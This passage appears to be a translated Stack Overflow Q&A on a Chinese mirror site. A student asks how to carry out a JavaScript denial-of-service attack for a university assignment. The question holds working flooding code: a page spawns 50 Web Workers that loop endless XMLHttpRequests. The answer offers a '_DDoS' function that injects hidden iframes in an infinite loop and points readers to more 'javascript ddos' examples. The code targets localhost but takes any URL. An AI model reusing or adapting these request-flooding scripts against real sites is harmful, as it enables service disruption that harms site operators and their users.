首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >基于JavaScript DoS的WebWorkers攻击

基于JavaScript DoS的WebWorkers攻击
EN

Stack Overflow用户
提问于 2017-04-01 08:43:28
回答 1查看 3.1K关注 0票数 2

在大学里,我们有一个“家庭作业”来尝试执行拒绝服务攻击。我决定改过自新。我试图使用JavaScript执行它。

的问题是:

  • 有这个可能吗?
  • 如果我做了HttpRequest的环回,我会看到任何网站的不可访问性造成的溢出http端口?
  • 有比我的更好的代码吗?

index.html:

代码语言:javascript
复制
<script>
    for(var i = 0; i< 50; i++) {
        worker = new Worker("worker.js");
        worker.postMessage('Hello World');
    }
</script>

worker.js:

代码语言:javascript
复制
self.addEventListener('message', function(e) {
    while(1) {
            var xmlHttp = new XMLHttpRequest();
            xmlHttp.onreadystatechange = function() { 
            if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
                    callback(xmlHttp.responseText);
            }
            xmlHttp.open("GET", "http://127.0.0.1", true);
            xmlHttp.send(null);
    }
}, false);

谢谢您的投入!

EN

回答 1

Stack Overflow用户

发布于 2017-05-15 21:10:47

因此,首先,如果我能够改进这段代码,我将使用setInterval而不是while(1)。其次,我在这里发现了一个简单得多的版本:

代码语言:javascript
复制
function _DDoS(url){
    document.body.innerHTML+='<iframe src="'+url+'" style="display:none;">   </iframe>';
}
for(;;){
 setTimeout(_DDoS("http://localhost"),10);
}

只要搜索javascript ddos,您就会发现许多例子。

票数 -1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/43154680

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档